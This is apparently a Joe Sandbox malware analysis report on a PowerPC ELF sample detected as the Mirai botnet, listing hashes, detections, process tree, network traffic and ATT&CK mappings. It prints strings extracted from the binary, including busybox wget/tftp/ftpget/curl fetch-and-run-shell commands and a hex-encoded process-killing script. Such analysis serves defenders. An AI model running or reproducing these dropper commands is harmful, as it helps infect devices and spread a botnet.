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Linux Analysis Report
ppc.elf

Overview

General Information

Sample name:	ppc.elf
Analysis ID:	1670244
MD5:	0488adfcd449fdd3046da372f6d70cf8
SHA1:	d80ce8cf712439ab485f51637dbf09b40c48e899
SHA256:	68ac4ebdecbcfa6befba14fea956210f26e7951044982a9dd8c59cc2b2cc68f8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670244
Start date and time:	2025-04-21 11:43:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ppc.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/ppc.elf
PID:	6232
Exit Code:	1
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

ppc.elf (PID: 6232, Parent: 6154, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/ppc.elf

dash New Fork (PID: 6327, Parent: 4331)

rm (PID: 6327, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.QyKrreUOzX /tmp/tmp.w3xbdV9bKe /tmp/tmp.T2pnGgoq0Z

dash New Fork (PID: 6328, Parent: 4331)

rm (PID: 6328, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.QyKrreUOzX /tmp/tmp.w3xbdV9bKe /tmp/tmp.T2pnGgoq0Z

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ppc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.00007fc62c001000.00007fc62c015000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ppc.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: ppc.elf

ReversingLabs: Detection: 33%

Source: ppc.elf

String: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219

Source: ppc.elf	String found in binary or memory: http:///curl.sh
Source: ppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 39246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39246
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: enableshellshlinuxshellping ;sh/bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh >"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6327)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.QyKrreUOzX /tmp/tmp.w3xbdV9bKe /tmp/tmp.T2pnGgoq0Z			Jump to behavior
Source: /usr/bin/dash (PID: 6328)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.QyKrreUOzX /tmp/tmp.w3xbdV9bKe /tmp/tmp.T2pnGgoq0Z			Jump to behavior

Source: /tmp/ppc.elf (PID: 6232)

Queries kernel information via 'uname':

Jump to behavior

Source: ppc.elf, 6232.1.0000565466972000.0000565466a22000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: ppc.elf, 6232.1.0000565466972000.0000565466a22000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: ppc.elf, 6232.1.00007ffebdf72000.00007ffebdf93000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: ppc.elf, 6232.1.00007ffebdf72000.00007ffebdf93000.rw-.sdmp	Binary or memory string: lx86_64/usr/bin/qemu-ppc/tmp/ppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ppc.elf
Source: ppc.elf, 6232.1.0000565466972000.0000565466a22000.rw-.sdmp	Binary or memory string: fTV/ppc/ro10!/proc/117/exe0!/proc/107/exe1/proc/269/exe/ppc/ro10!/proc/116/exe0!/proc/108/exe1/usr/bin/xiccd/ppc/ro10!/proc/115/exe0!/proc/109/exe1/proc/270/exe/ppc/ro10!/proc/114/exe0!/proc/110/exe!/proc/379/exe/ppc/pro!/usr/bin/vmtoolsdpc/pro1 u
Source: ppc.elf, 6232.1.0000565466972000.0000565466a22000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1/usr/sbin/wpa_supplicant1/proc/658/exe/ppc/X

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: ppc.elf, type: SAMPLE
Source: Yara match	File source: 6232.1.00007fc62c001000.00007fc62c015000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: ppc.elf, type: SAMPLE
Source: Yara match	File source: 6232.1.00007fc62c001000.00007fc62c015000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ppc.elf	33%	ReversingLabs	Linux.Worm.Mirai
ppc.elf	100%	Avira	LINUX/GM.Mirai.ET

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	ppc.elf	false		high
http:///curl.sh	ppc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	mpsl.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	m-6.8-k.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	vision.arm5.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	na.elf	Get hash	malicious	Prometei	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
91.189.91.42	na.elf	Get hash	malicious	Prometei	Browse
	mpsl.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Mirai	Browse
	ppc.elf	Get hash	malicious	Mirai	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	mpsl.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	ppc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	x-3.2-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
AMAZON-02US	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	mpsl.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DOf7V_1bLtnK9VzA81xTl66e5cQEfeWNrWDvGojS6qzpbIWVBQ7lKG2g0aCCOyVobSDuVrLebffHMB5eRckn5ACwa2iQeUse2Dj4VAB-2FABJ1Acb1YvF-2FbDnBdetKvvIMzpE5RxgQY2IAbwQdJhLDSLJUr91tf1539-2Ft7it4uBG8JH-2Fo6agurxFXC9oi5BHuPPJfC2Yg7NXAY-2BcEwb3vDWUgys5pw-3D-3D	Get hash	malicious	HTMLPhisher	Browse	52.40.152.246
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	arm7.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	ppc.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	34.245.175.187
	a-r.m-7.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	OneLogin.doc	Get hash	malicious	Meterpreter	Browse	3.101.53.119

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.2531608720874425
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	ppc.elf
File size:	83'360 bytes
MD5:	0488adfcd449fdd3046da372f6d70cf8
SHA1:	d80ce8cf712439ab485f51637dbf09b40c48e899
SHA256:	68ac4ebdecbcfa6befba14fea956210f26e7951044982a9dd8c59cc2b2cc68f8
SHA512:	918867e8a168f3707939be91cb73aaa0c6187b9fbe33302de94132725d401777bf3d61bd17caf1e4b1b3a913d66b98b0755396257b47f7b356ec51c0387de024
SSDEEP:	1536:CNMRY7BCy9VgcDTMGMWp/yyUm/5g9I5//jRzAbJcvknGWRZH:CNMsXMXqIn9I5RsDnGsH
TLSH:	C2833C03730C0947C5635EB4263F17E193EBA99021E4F785691EFB8A8276E33558AECD
File Content Preview:	.ELF...........................4..C......4. ...(......................=4..=4..............@...@...@....t..T.........dt.Q.............................!..\|......$H...H..9...$8!. \|...N.. .!..\|.......?.........D...../...@..\?.....@..+../...A..$8...})....@.N..

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	82880
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0x11c90	0x0	0x6	AX	4
.fini	PROGBITS	0x10011d48	0x11d48	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x10011d68	0x11d68	0x1fcc	0x0	0x2	A	8
.ctors	PROGBITS	0x10024000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x10024008	0x14008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x10024018	0x14018	0x31c	0x0	0x3	WA	8
.sdata	PROGBITS	0x10024334	0x14334	0x40	0x0	0x3	WA	4
.sbss	NOBITS	0x10024374	0x14374	0x8c	0x0	0x3	WA	4
.bss	NOBITS	0x10024400	0x14374	0x500c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x14374	0x4b	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0x13d34	0x13d34	6.3255	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x10024000	0x10024000	0x374	0x540c	2.7913	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 11
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2025 11:44:01.858279943 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 21, 2025 11:44:07.234106064 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 21, 2025 11:44:08.769372940 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 21, 2025 11:44:22.079550028 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 21, 2025 11:44:23.238414049 CEST	39246	443	192.168.2.23	34.249.145.219
Apr 21, 2025 11:44:23.238533020 CEST	443	39246	34.249.145.219	192.168.2.23
Apr 21, 2025 11:44:23.238709927 CEST	39246	443	192.168.2.23	34.249.145.219
Apr 21, 2025 11:44:23.239381075 CEST	39246	443	192.168.2.23	34.249.145.219
Apr 21, 2025 11:44:23.239422083 CEST	443	39246	34.249.145.219	192.168.2.23
Apr 21, 2025 11:44:34.366010904 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 21, 2025 11:44:38.461395025 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 21, 2025 11:45:03.034073114 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 21, 2025 11:45:23.231178999 CEST	39246	443	192.168.2.23	34.249.145.219
Apr 21, 2025 11:45:23.272274971 CEST	443	39246	34.249.145.219	192.168.2.23
Apr 21, 2025 11:46:02.980302095 CEST	443	39246	34.249.145.219	192.168.2.23

System Behavior

Analysis Process: ppc.elf PID: 6232, Parent PID: 6154

General

Start time (UTC):	09:43:58
Start date (UTC):	21/04/2025
Path:	/tmp/ppc.elf
Arguments:	/tmp/ppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	09:45:22
Start date (UTC):	21/04/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:45:22
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.QyKrreUOzX /tmp/tmp.w3xbdV9bKe /tmp/tmp.T2pnGgoq0Z
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	09:45:22
Start date (UTC):	21/04/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:45:22
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.QyKrreUOzX /tmp/tmp.w3xbdV9bKe /tmp/tmp.T2pnGgoq0Z
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report ppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: ppc.elf PID: 6232, Parent PID: 6154

General

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6327, Parent PID: 4331

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6327, Parent PID: 4331

General

File Activities

File Opened

Linux Analysis Report
ppc.elf